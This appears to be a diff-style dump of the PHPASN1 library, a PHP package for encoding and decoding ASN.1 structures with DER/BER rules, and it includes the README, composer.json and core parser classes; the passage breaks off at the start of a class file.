[](https://github.com/fgrosse/PHPASN1/actions/workflows/phpunit.yml)
|
||||
[](https://travis-ci.org/fgrosse/PHPASN1)
|
||||
[](https://coveralls.io/github/fgrosse/PHPASN1?branch=master)
|
||||
|
||||
[](https://packagist.org/packages/fgrosse/phpasn1)
|
||||
[](https://packagist.org/packages/fgrosse/phpasn1)
|
||||
[](https://packagist.org/packages/fgrosse/phpasn1)
|
||||
[](https://packagist.org/packages/fgrosse/phpasn1)
|
||||
|
||||
---
|
||||
|
||||
<h2><span style="color:red">Notice: This library is no longer actively maintained!</span></h2>
|
||||
If you are currently using PHPASN1, this might not be an immediate problem for you, since this library was always rather stable.
|
||||
|
||||
However, you are advised to migrate to alternative packages to ensure that your applications remain functional also with newer PHP versions.
|
||||
|
||||
---
|
||||
|
||||
A PHP Framework that allows you to encode and decode arbitrary [ASN.1][3] structures
|
||||
using the [ITU-T X.690 Encoding Rules][4].
|
||||
This encoding is very frequently used in [X.509 PKI environments][5] or the communication between heterogeneous computer systems.
|
||||
|
||||
The API allows you to encode ASN.1 structures to create binary data such as certificate
|
||||
signing requests (CSR), X.509 certificates or certificate revocation lists (CRL).
|
||||
PHPASN1 can also read [BER encoded][6] binary data into separate PHP objects that can be manipulated by the user and reencoded afterwards.
|
||||
|
||||
The **changelog** can now be found at [CHANGELOG.md](CHANGELOG.md).
|
||||
|
||||
## Dependencies
|
||||
|
||||
PHPASN1 requires at least `PHP 7.0` and either the `gmp` or `bcmath` extension.
|
||||
Support for older PHP versions (i.e. PHP 5.6) was dropped starting with `v2.0`.
|
||||
If you must use an outdated PHP version consider using [PHPASN v1.5][13].
|
||||
|
||||
For the loading of object identifier names directly from the web [curl][7] is used.
|
||||
|
||||
## Installation
|
||||
|
||||
The preferred way to install this library is to rely on [Composer][2]:
|
||||
|
||||
```bash
|
||||
$ composer require fgrosse/phpasn1
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
### Encoding ASN.1 Structures
|
||||
|
||||
PHPASN1 offers you a class for each of the implemented ASN.1 universal types.
|
||||
The constructors should be pretty self explanatory so you should have no big trouble getting started.
|
||||
All data will be encoded using [DER encoding][8]
|
||||
|
||||
```php
|
||||
use FG\ASN1\OID;
|
||||
use FG\ASN1\Universal\Integer;
|
||||
use FG\ASN1\Universal\Boolean;
|
||||
use FG\ASN1\Universal\Enumerated;
|
||||
use FG\ASN1\Universal\IA5String;
|
||||
use FG\ASN1\Universal\ObjectIdentifier;
|
||||
use FG\ASN1\Universal\PrintableString;
|
||||
use FG\ASN1\Universal\Sequence;
|
||||
use FG\ASN1\Universal\Set;
|
||||
use FG\ASN1\Universal\NullObject;
|
||||
|
||||
$integer = new Integer(123456);
|
||||
$boolean = new Boolean(true);
|
||||
$enum = new Enumerated(1);
|
||||
$ia5String = new IA5String('Hello world');
|
||||
|
||||
$asnNull = new NullObject();
|
||||
$objectIdentifier1 = new ObjectIdentifier('1.2.250.1.16.9');
|
||||
$objectIdentifier2 = new ObjectIdentifier(OID::RSA_ENCRYPTION);
|
||||
$printableString = new PrintableString('Foo bar');
|
||||
|
||||
$sequence = new Sequence($integer, $boolean, $enum, $ia5String);
|
||||
$set = new Set($sequence, $asnNull, $objectIdentifier1, $objectIdentifier2, $printableString);
|
||||
|
||||
$myBinary = $sequence->getBinary();
|
||||
$myBinary .= $set->getBinary();
|
||||
|
||||
echo base64_encode($myBinary);
|
||||
```
|
||||
|
||||
|
||||
### Decoding binary data
|
||||
|
||||
Decoding BER encoded binary data is just as easy as encoding it:
|
||||
|
||||
```php
|
||||
use FG\ASN1\ASNObject;
|
||||
|
||||
$base64String = ...
|
||||
$binaryData = base64_decode($base64String);
|
||||
$asnObject = ASNObject::fromBinary($binaryData);
|
||||
|
||||
|
||||
// do stuff
|
||||
```
|
||||
|
||||
If you already know exactly how your expected data should look like you can use the `FG\ASN1\TemplateParser`:
|
||||
|
||||
```php
|
||||
use FG\ASN1\TemplateParser;
|
||||
|
||||
// first define your template
|
||||
$template = [
|
||||
Identifier::SEQUENCE => [
|
||||
Identifier::SET => [
|
||||
Identifier::OBJECT_IDENTIFIER,
|
||||
Identifier::SEQUENCE => [
|
||||
Identifier::INTEGER,
|
||||
Identifier::BITSTRING,
|
||||
]
|
||||
]
|
||||
]
|
||||
];
|
||||
|
||||
// if your binary data is not matching the template you provided this will throw an `\Exception`:
|
||||
$parser = new TemplateParser();
|
||||
$object = $parser->parseBinary($data, $template);
|
||||
|
||||
// there is also a convenience function if you parse binary data from base64:
|
||||
$object = $parser->parseBase64($data, $template);
|
||||
```
|
||||
|
||||
You can use this function to make sure your data has exactly the format you are expecting.
|
||||
|
||||
### Navigating decoded data
|
||||
|
||||
All constructed classes (i.e. `Sequence` and `Set`) can be navigated by array access or using an iterator.
|
||||
You can find examples
|
||||
[here](https://github.com/fgrosse/PHPASN1/blob/f6442cadda9d36f3518c737e32f28300a588b777/tests/ASN1/Universal/SequenceTest.php#L148-148),
|
||||
[here](https://github.com/fgrosse/PHPASN1/blob/f6442cadda9d36f3518c737e32f28300a588b777/tests/ASN1/Universal/SequenceTest.php#L121) and
|
||||
[here](https://github.com/fgrosse/PHPASN1/blob/f6442cadda9d36f3518c737e32f28300a588b777/tests/ASN1/TemplateParserTest.php#L45).
|
||||
|
||||
|
||||
### Give me more examples!
|
||||
|
||||
To see some example usage of the API classes or some generated output check out the [examples](https://github.com/fgrosse/PHPASN1/tree/master/examples).
|
||||
|
||||
|
||||
### How do I contribute?
|
||||
|
||||
This project is no longer maintained and thus does not accept any new contributions.
|
||||
|
||||
### Thanks
|
||||
|
||||
To [all contributors][1] so far!
|
||||
|
||||
## License
|
||||
|
||||
This library is distributed under the [MIT License](LICENSE).
|
||||
|
||||
[1]: https://github.com/fgrosse/PHPASN1/graphs/contributors
|
||||
[2]: https://getcomposer.org/
|
||||
[3]: http://www.itu.int/ITU-T/asn1/
|
||||
[4]: http://www.itu.int/ITU-T/recommendations/rec.aspx?rec=x.690
|
||||
[5]: http://en.wikipedia.org/wiki/X.509
|
||||
[6]: http://en.wikipedia.org/wiki/X.690#BER_encoding
|
||||
[7]: http://php.net/manual/en/book.curl.php
|
||||
[8]: http://en.wikipedia.org/wiki/X.690#DER_encoding
|
||||
[9]: https://styleci.io
|
||||
[10]: https://coveralls.io/github/fgrosse/PHPASN1
|
||||
[11]: https://github.com/fgrosse/PHPASN1/blob/master/tests/ASN1/TemplateParserTest.php#L16
|
||||
[12]: https://groups.google.com/d/forum/phpasn1
|
||||
[13]: https://packagist.org/packages/fgrosse/phpasn1#1.5.2
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
{
|
||||
"name": "fgrosse/phpasn1",
|
||||
"description": "A PHP Framework that allows you to encode and decode arbitrary ASN.1 structures using the ITU-T X.690 Encoding Rules.",
|
||||
"type": "library",
|
||||
"homepage": "https://github.com/FGrosse/PHPASN1",
|
||||
"license": "MIT",
|
||||
"authors": [
|
||||
{
|
||||
"name": "Friedrich Große",
|
||||
"email": "friedrich.grosse@gmail.com",
|
||||
"homepage": "https://github.com/FGrosse",
|
||||
"role": "Author"
|
||||
},
|
||||
{
|
||||
"name": "All contributors",
|
||||
"homepage": "https://github.com/FGrosse/PHPASN1/contributors"
|
||||
}
|
||||
],
|
||||
"keywords": [ "x690", "x.690", "x.509", "x509", "asn1", "asn.1", "ber", "der", "binary", "encoding", "decoding" ],
|
||||
|
||||
"require": {
|
||||
"php": "^7.1 || ^8.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"phpunit/phpunit": "^7.0 || ^8.0 || ^9.0",
|
||||
"php-coveralls/php-coveralls": "~2.0"
|
||||
},
|
||||
"suggest": {
|
||||
"ext-gmp": "GMP is the preferred extension for big integer calculations",
|
||||
"ext-bcmath": "BCmath is the fallback extension for big integer calculations",
|
||||
"phpseclib/bcmath_compat": "BCmath polyfill for servers where neither GMP nor BCmath is available",
|
||||
"ext-curl": "For loading OID information from the web if they have not bee defined statically"
|
||||
},
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"FG\\": "lib/"
|
||||
}
|
||||
},
|
||||
"autoload-dev": {
|
||||
"psr-4": {
|
||||
"FG\\Test\\": "tests/"
|
||||
}
|
||||
},
|
||||
"extra": {
|
||||
"branch-alias": {
|
||||
"dev-master": "2.0.x-dev"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,355 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1;
|
||||
|
||||
use FG\ASN1\Exception\ParserException;
|
||||
use FG\ASN1\Universal\BitString;
|
||||
use FG\ASN1\Universal\Boolean;
|
||||
use FG\ASN1\Universal\Enumerated;
|
||||
use FG\ASN1\Universal\GeneralizedTime;
|
||||
use FG\ASN1\Universal\Integer;
|
||||
use FG\ASN1\Universal\NullObject;
|
||||
use FG\ASN1\Universal\ObjectIdentifier;
|
||||
use FG\ASN1\Universal\RelativeObjectIdentifier;
|
||||
use FG\ASN1\Universal\OctetString;
|
||||
use FG\ASN1\Universal\Sequence;
|
||||
use FG\ASN1\Universal\Set;
|
||||
use FG\ASN1\Universal\UTCTime;
|
||||
use FG\ASN1\Universal\IA5String;
|
||||
use FG\ASN1\Universal\PrintableString;
|
||||
use FG\ASN1\Universal\NumericString;
|
||||
use FG\ASN1\Universal\UTF8String;
|
||||
use FG\ASN1\Universal\UniversalString;
|
||||
use FG\ASN1\Universal\CharacterString;
|
||||
use FG\ASN1\Universal\GeneralString;
|
||||
use FG\ASN1\Universal\VisibleString;
|
||||
use FG\ASN1\Universal\GraphicString;
|
||||
use FG\ASN1\Universal\BMPString;
|
||||
use FG\ASN1\Universal\T61String;
|
||||
use FG\ASN1\Universal\ObjectDescriptor;
|
||||
use FG\Utility\BigInteger;
|
||||
use LogicException;
|
||||
|
||||
/**
|
||||
* Class ASNObject is the base class for all concrete ASN.1 objects.
|
||||
*/
|
||||
abstract class ASNObject implements Parsable
|
||||
{
|
||||
private $contentLength;
|
||||
private $nrOfLengthOctets;
|
||||
|
||||
/**
|
||||
* Must return the number of octets of the content part.
|
||||
*
|
||||
* @return int
|
||||
*/
|
||||
abstract protected function calculateContentLength();
|
||||
|
||||
/**
|
||||
* Encode the object using DER encoding.
|
||||
*
|
||||
* @see http://en.wikipedia.org/wiki/X.690#DER_encoding
|
||||
*
|
||||
* @return string the binary representation of an objects value
|
||||
*/
|
||||
abstract protected function getEncodedValue();
|
||||
|
||||
/**
|
||||
* Return the content of this object in a non encoded form.
|
||||
* This can be used to print the value in human readable form.
|
||||
*
|
||||
* @return mixed
|
||||
*/
|
||||
abstract public function getContent();
|
||||
|
||||
/**
|
||||
* Return the object type octet.
|
||||
* This should use the class constants of Identifier.
|
||||
*
|
||||
* @see Identifier
|
||||
*
|
||||
* @return int
|
||||
*/
|
||||
abstract public function getType();
|
||||
|
||||
/**
|
||||
* Returns all identifier octets. If an inheriting class models a tag with
|
||||
* the long form identifier format, it MUST reimplement this method to
|
||||
* return all octets of the identifier.
|
||||
*
|
||||
* @throws LogicException If the identifier format is long form
|
||||
*
|
||||
* @return string Identifier as a set of octets
|
||||
*/
|
||||
public function getIdentifier()
|
||||
{
|
||||
$firstOctet = $this->getType();
|
||||
|
||||
if (Identifier::isLongForm($firstOctet)) {
|
||||
throw new LogicException(sprintf('Identifier of %s uses the long form and must therefor override "ASNObject::getIdentifier()".', get_class($this)));
|
||||
}
|
||||
|
||||
return chr($firstOctet);
|
||||
}
|
||||
|
||||
/**
|
||||
* Encode this object using DER encoding.
|
||||
*
|
||||
* @return string the full binary representation of the complete object
|
||||
*/
|
||||
public function getBinary()
|
||||
{
|
||||
$result = $this->getIdentifier();
|
||||
$result .= $this->createLengthPart();
|
||||
$result .= $this->getEncodedValue();
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
private function createLengthPart()
|
||||
{
|
||||
$contentLength = $this->getContentLength();
|
||||
$nrOfLengthOctets = $this->getNumberOfLengthOctets($contentLength);
|
||||
|
||||
if ($nrOfLengthOctets == 1) {
|
||||
return chr($contentLength);
|
||||
} else {
|
||||
// the first length octet determines the number subsequent length octets
|
||||
$lengthOctets = chr(0x80 | ($nrOfLengthOctets - 1));
|
||||
for ($shiftLength = 8 * ($nrOfLengthOctets - 2); $shiftLength >= 0; $shiftLength -= 8) {
|
||||
$lengthOctets .= chr($contentLength >> $shiftLength);
|
||||
}
|
||||
|
||||
return $lengthOctets;
|
||||
}
|
||||
}
|
||||
|
||||
protected function getNumberOfLengthOctets($contentLength = null)
|
||||
{
|
||||
if (!isset($this->nrOfLengthOctets)) {
|
||||
if ($contentLength == null) {
|
||||
$contentLength = $this->getContentLength();
|
||||
}
|
||||
|
||||
$this->nrOfLengthOctets = 1;
|
||||
if ($contentLength > 127) {
|
||||
do { // long form
|
||||
$this->nrOfLengthOctets++;
|
||||
$contentLength = $contentLength >> 8;
|
||||
} while ($contentLength > 0);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->nrOfLengthOctets;
|
||||
}
|
||||
|
||||
protected function getContentLength()
|
||||
{
|
||||
if (!isset($this->contentLength)) {
|
||||
$this->contentLength = $this->calculateContentLength();
|
||||
}
|
||||
|
||||
return $this->contentLength;
|
||||
}
|
||||
|
||||
protected function setContentLength($newContentLength)
|
||||
{
|
||||
$this->contentLength = $newContentLength;
|
||||
$this->getNumberOfLengthOctets($newContentLength);
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the length of the whole object (including the identifier and length octets).
|
||||
*/
|
||||
public function getObjectLength()
|
||||
{
|
||||
$nrOfIdentifierOctets = strlen($this->getIdentifier());
|
||||
$contentLength = $this->getContentLength();
|
||||
$nrOfLengthOctets = $this->getNumberOfLengthOctets($contentLength);
|
||||
|
||||
return $nrOfIdentifierOctets + $nrOfLengthOctets + $contentLength;
|
||||
}
|
||||
|
||||
public function __toString()
|
||||
{
|
||||
return $this->getContent();
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the name of the ASN.1 Type of this object.
|
||||
*
|
||||
* @see Identifier::getName()
|
||||
*/
|
||||
public function getTypeName()
|
||||
{
|
||||
return Identifier::getName($this->getType());
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $binaryData
|
||||
* @param int $offsetIndex
|
||||
*
|
||||
* @throws ParserException
|
||||
*
|
||||
* @return \FG\ASN1\ASNObject
|
||||
*/
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
if (strlen($binaryData) <= $offsetIndex) {
|
||||
throw new ParserException('Can not parse binary from data: Offset index larger than input size', $offsetIndex);
|
||||
}
|
||||
|
||||
$identifierOctet = ord($binaryData[$offsetIndex]);
|
||||
if (Identifier::isContextSpecificClass($identifierOctet) && Identifier::isConstructed($identifierOctet)) {
|
||||
return ExplicitlyTaggedObject::fromBinary($binaryData, $offsetIndex);
|
||||
}
|
||||
|
||||
switch ($identifierOctet) {
|
||||
case Identifier::BITSTRING:
|
||||
return BitString::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::BOOLEAN:
|
||||
return Boolean::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::ENUMERATED:
|
||||
return Enumerated::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::INTEGER:
|
||||
return Integer::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::NULL:
|
||||
return NullObject::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::OBJECT_IDENTIFIER:
|
||||
return ObjectIdentifier::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::RELATIVE_OID:
|
||||
return RelativeObjectIdentifier::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::OCTETSTRING:
|
||||
return OctetString::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::SEQUENCE:
|
||||
return Sequence::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::SET:
|
||||
return Set::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::UTC_TIME:
|
||||
return UTCTime::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::GENERALIZED_TIME:
|
||||
return GeneralizedTime::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::IA5_STRING:
|
||||
return IA5String::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::PRINTABLE_STRING:
|
||||
return PrintableString::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::NUMERIC_STRING:
|
||||
return NumericString::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::UTF8_STRING:
|
||||
return UTF8String::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::UNIVERSAL_STRING:
|
||||
return UniversalString::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::CHARACTER_STRING:
|
||||
return CharacterString::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::GENERAL_STRING:
|
||||
return GeneralString::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::VISIBLE_STRING:
|
||||
return VisibleString::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::GRAPHIC_STRING:
|
||||
return GraphicString::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::BMP_STRING:
|
||||
return BMPString::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::T61_STRING:
|
||||
return T61String::fromBinary($binaryData, $offsetIndex);
|
||||
case Identifier::OBJECT_DESCRIPTOR:
|
||||
return ObjectDescriptor::fromBinary($binaryData, $offsetIndex);
|
||||
default:
|
||||
// At this point the identifier may be >1 byte.
|
||||
if (Identifier::isConstructed($identifierOctet)) {
|
||||
return new UnknownConstructedObject($binaryData, $offsetIndex);
|
||||
} else {
|
||||
$identifier = self::parseBinaryIdentifier($binaryData, $offsetIndex);
|
||||
$lengthOfUnknownObject = self::parseContentLength($binaryData, $offsetIndex);
|
||||
$offsetIndex += $lengthOfUnknownObject;
|
||||
|
||||
return new UnknownObject($identifier, $lengthOfUnknownObject);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
protected static function parseIdentifier($identifierOctet, $expectedIdentifier, $offsetForExceptionHandling)
|
||||
{
|
||||
if (is_string($identifierOctet) || is_numeric($identifierOctet) == false) {
|
||||
$identifierOctet = ord($identifierOctet);
|
||||
}
|
||||
|
||||
if ($identifierOctet != $expectedIdentifier) {
|
||||
$message = 'Can not create an '.Identifier::getName($expectedIdentifier).' from an '.Identifier::getName($identifierOctet);
|
||||
throw new ParserException($message, $offsetForExceptionHandling);
|
||||
}
|
||||
}
|
||||
|
||||
protected static function parseBinaryIdentifier($binaryData, &$offsetIndex)
|
||||
{
|
||||
if (strlen($binaryData) <= $offsetIndex) {
|
||||
throw new ParserException('Can not parse identifier from data: Offset index larger than input size', $offsetIndex);
|
||||
}
|
||||
|
||||
$identifier = $binaryData[$offsetIndex++];
|
||||
|
||||
if (Identifier::isLongForm(ord($identifier)) == false) {
|
||||
return $identifier;
|
||||
}
|
||||
|
||||
while (true) {
|
||||
if (strlen($binaryData) <= $offsetIndex) {
|
||||
throw new ParserException('Can not parse identifier (long form) from data: Offset index larger than input size', $offsetIndex);
|
||||
}
|
||||
$nextOctet = $binaryData[$offsetIndex++];
|
||||
$identifier .= $nextOctet;
|
||||
|
||||
if ((ord($nextOctet) & 0x80) === 0) {
|
||||
// the most significant bit is 0 to we have reached the end of the identifier
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return $identifier;
|
||||
}
|
||||
|
||||
protected static function parseContentLength(&$binaryData, &$offsetIndex, $minimumLength = 0)
|
||||
{
|
||||
if (strlen($binaryData) <= $offsetIndex) {
|
||||
throw new ParserException('Can not parse content length from data: Offset index larger than input size', $offsetIndex);
|
||||
}
|
||||
|
||||
$contentLength = ord($binaryData[$offsetIndex++]);
|
||||
if (($contentLength & 0x80) != 0) {
|
||||
// bit 8 is set -> this is the long form
|
||||
$nrOfLengthOctets = $contentLength & 0x7F;
|
||||
$contentLength = BigInteger::create(0x00);
|
||||
for ($i = 0; $i < $nrOfLengthOctets; $i++) {
|
||||
if (strlen($binaryData) <= $offsetIndex) {
|
||||
throw new ParserException('Can not parse content length (long form) from data: Offset index larger than input size', $offsetIndex);
|
||||
}
|
||||
$contentLength = $contentLength->shiftLeft(8)->add(ord($binaryData[$offsetIndex++]));
|
||||
}
|
||||
|
||||
if ($contentLength->compare(PHP_INT_MAX) > 0) {
|
||||
throw new ParserException("Can not parse content length from data: length > maximum integer", $offsetIndex);
|
||||
}
|
||||
|
||||
$contentLength = $contentLength->toInteger();
|
||||
}
|
||||
|
||||
if ($contentLength < $minimumLength) {
|
||||
throw new ParserException('A '.get_called_class()." should have a content length of at least {$minimumLength}. Extracted length was {$contentLength}", $offsetIndex);
|
||||
}
|
||||
|
||||
$lenDataRemaining = strlen($binaryData) - $offsetIndex;
|
||||
|
||||
if ($lenDataRemaining < $contentLength) {
|
||||
throw new ParserException("Content length {$contentLength} exceeds remaining data length {$lenDataRemaining}", $offsetIndex);
|
||||
}
|
||||
|
||||
return $contentLength;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,136 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1;
|
||||
|
||||
use Exception;
|
||||
|
||||
abstract class AbstractString extends ASNObject implements Parsable
|
||||
{
|
||||
/** @var string */
|
||||
protected $value;
|
||||
private $checkStringForIllegalChars = true;
|
||||
private $allowedCharacters = [];
|
||||
|
||||
/**
|
||||
* The abstract base class for ASN.1 classes which represent some string of character.
|
||||
*
|
||||
* @param string $string
|
||||
*/
|
||||
public function __construct($string)
|
||||
{
|
||||
$this->value = $string;
|
||||
}
|
||||
|
||||
public function getContent()
|
||||
{
|
||||
return $this->value;
|
||||
}
|
||||
|
||||
protected function allowCharacter($character)
|
||||
{
|
||||
$this->allowedCharacters[] = $character;
|
||||
}
|
||||
|
||||
protected function allowCharacters(...$characters)
|
||||
{
|
||||
foreach ($characters as $character) {
|
||||
$this->allowedCharacters[] = $character;
|
||||
}
|
||||
}
|
||||
|
||||
protected function allowNumbers()
|
||||
{
|
||||
foreach (range('0', '9') as $char) {
|
||||
$this->allowedCharacters[] = (string) $char;
|
||||
}
|
||||
}
|
||||
|
||||
protected function allowAllLetters()
|
||||
{
|
||||
$this->allowSmallLetters();
|
||||
$this->allowCapitalLetters();
|
||||
}
|
||||
|
||||
protected function allowSmallLetters()
|
||||
{
|
||||
foreach (range('a', 'z') as $char) {
|
||||
$this->allowedCharacters[] = $char;
|
||||
}
|
||||
}
|
||||
|
||||
protected function allowCapitalLetters()
|
||||
{
|
||||
foreach (range('A', 'Z') as $char) {
|
||||
$this->allowedCharacters[] = $char;
|
||||
}
|
||||
}
|
||||
|
||||
protected function allowSpaces()
|
||||
{
|
||||
$this->allowedCharacters[] = ' ';
|
||||
}
|
||||
|
||||
protected function allowAll()
|
||||
{
|
||||
$this->checkStringForIllegalChars = false;
|
||||
}
|
||||
|
||||
protected function calculateContentLength()
|
||||
{
|
||||
return strlen($this->value);
|
||||
}
|
||||
|
||||
protected function getEncodedValue()
|
||||
{
|
||||
if ($this->checkStringForIllegalChars) {
|
||||
$this->checkString();
|
||||
}
|
||||
|
||||
return $this->value;
|
||||
}
|
||||
|
||||
protected function checkString()
|
||||
{
|
||||
$stringLength = $this->getContentLength();
|
||||
for ($i = 0; $i < $stringLength; $i++) {
|
||||
if (in_array($this->value[$i], $this->allowedCharacters) == false) {
|
||||
$typeName = Identifier::getName($this->getType());
|
||||
throw new Exception("Could not create a {$typeName} from the character sequence '{$this->value}'.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static function fromBinary(&$binaryData, &$offsetIndex = 0)
|
||||
{
|
||||
$parsedObject = new static('');
|
||||
|
||||
self::parseIdentifier($binaryData[$offsetIndex], $parsedObject->getType(), $offsetIndex++);
|
||||
$contentLength = self::parseContentLength($binaryData, $offsetIndex);
|
||||
$string = substr($binaryData, $offsetIndex, $contentLength);
|
||||
$offsetIndex += $contentLength;
|
||||
|
||||
$parsedObject->value = $string;
|
||||
$parsedObject->setContentLength($contentLength);
|
||||
return $parsedObject;
|
||||
}
|
||||
|
||||
public static function isValid($string)
|
||||
{
|
||||
$testObject = new static($string);
|
||||
try {
|
||||
$testObject->checkString();
|
||||
|
||||
return true;
|
||||
} catch (Exception $exception) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1;
|
||||
|
||||
use DateInterval;
|
||||
use DateTime;
|
||||
use DateTimeZone;
|
||||
use Exception;
|
||||
|
||||
abstract class AbstractTime extends ASNObject
|
||||
{
|
||||
/** @var DateTime */
|
||||
protected $value;
|
||||
|
||||
public function __construct($dateTime = null, $dateTimeZone = 'UTC')
|
||||
{
|
||||
if ($dateTime == null || is_string($dateTime)) {
|
||||
$timeZone = new DateTimeZone($dateTimeZone);
|
||||
$dateTimeObject = new DateTime($dateTime, $timeZone);
|
||||
if ($dateTimeObject == false) {
|
||||
$errorMessage = $this->getLastDateTimeErrors();
|
||||
$className = Identifier::getName($this->getType());
|
||||
throw new Exception(sprintf("Could not create %s from date time string '%s': %s", $className, $dateTime, $errorMessage));
|
||||
}
|
||||
$dateTime = $dateTimeObject;
|
||||
} elseif (!$dateTime instanceof DateTime) {
|
||||
throw new Exception('Invalid first argument for some instance of AbstractTime constructor');
|
||||
}
|
||||
|
||||
$this->value = $dateTime;
|
||||
}
|
||||
|
||||
public function getContent()
|
||||
{
|
||||
return $this->value;
|
||||
}
|
||||
|
||||
protected function getLastDateTimeErrors()
|
||||
{
|
||||
$messages = '';
|
||||
$lastErrors = DateTime::getLastErrors() ?: ['errors' => []];
|
||||
foreach ($lastErrors['errors'] as $errorMessage) {
|
||||
$messages .= "{$errorMessage}, ";
|
||||
}
|
||||
|
||||
return substr($messages, 0, -2);
|
||||
}
|
||||
|
||||
public function __toString()
|
||||
{
|
||||
return $this->value->format("Y-m-d\tH:i:s");
|
||||
}
|
||||
|
||||
protected static function extractTimeZoneData(&$binaryData, &$offsetIndex, DateTime $dateTime)
|
||||
{
|
||||
$sign = $binaryData[$offsetIndex++];
|
||||
$timeOffsetHours = intval(substr($binaryData, $offsetIndex, 2));
|
||||
$timeOffsetMinutes = intval(substr($binaryData, $offsetIndex + 2, 2));
|
||||
$offsetIndex += 4;
|
||||
|
||||
$interval = new DateInterval("PT{$timeOffsetHours}H{$timeOffsetMinutes}M");
|
||||
if ($sign == '+') {
|
||||
$dateTime->sub($interval);
|
||||
} else {
|
||||
$dateTime->add($interval);
|
||||
}
|
||||
|
||||
return $dateTime;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
<?php
|
||||
|
||||
namespace FG\ASN1;
|
||||
|
||||
use FG\Utility\BigInteger;
|
||||
use InvalidArgumentException;
|
||||
|
||||
/**
|
||||
* A base-128 decoder.
|
||||
*/
|
||||
class Base128
|
||||
{
|
||||
/**
|
||||
* @param int $value
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public static function encode($value)
|
||||
{
|
||||
$value = BigInteger::create($value);
|
||||
$octets = chr($value->modulus(0x80)->toInteger());
|
||||
|
||||
$value = $value->shiftRight(7);
|
||||
while ($value->compare(0) > 0) {
|
||||
$octets .= chr(0x80 | $value->modulus(0x80)->toInteger());
|
||||
$value = $value->shiftRight(7);
|
||||
}
|
||||
|
||||
return strrev($octets);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param string $octets
|
||||
*
|
||||
* @throws InvalidArgumentException if the given octets represent a malformed base-128 value or the decoded value would exceed the the maximum integer length
|
||||
*
|
||||
* @return int
|
||||
*/
|
||||
public static function decode($octets)
|
||||
{
|
||||
$bitsPerOctet = 7;
|
||||
$value = BigInteger::create(0);
|
||||
$i = 0;
|
||||
|
||||
while (true) {
|
||||
if (!isset($octets[$i])) {
|
||||
throw new InvalidArgumentException(sprintf('Malformed base-128 encoded value (0x%s).', strtoupper(bin2hex($octets)) ?: '0'));
|
||||
}
|
||||
|
||||
$octet = ord($octets[$i++]);
|
||||
|
||||
$l1 = $value->shiftLeft($bitsPerOctet);
|
||||
$r1 = $octet & 0x7f;
|
||||
$value = $l1->add($r1);
|
||||
|
||||
if (0 === ($octet & 0x80)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return (string)$value;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
<?php
|
||||
/*
|
||||
* This file is part of the PHPASN1 library.
|
||||
*
|
||||
* Copyright © Friedrich Große <friedrich.grosse@gmail.com>
|
||||
*
|
||||
* For the full copyright and license information, please view the LICENSE
|
||||
* file that was distributed with this source code.
|
||||
*/
|
||||
|
||||
namespace FG\ASN1\Composite;
|
||||
|
||||
use FG\ASN1\ASNObject;
|
||||
use FG\ASN1\Universal\Sequence;
|
||||
use FG\ASN1\Universal\ObjectIdentifier;
|
||||
|
||||
class AttributeTypeAndValue extends Sequence
|
||||
{
|
||||
/**
|
||||
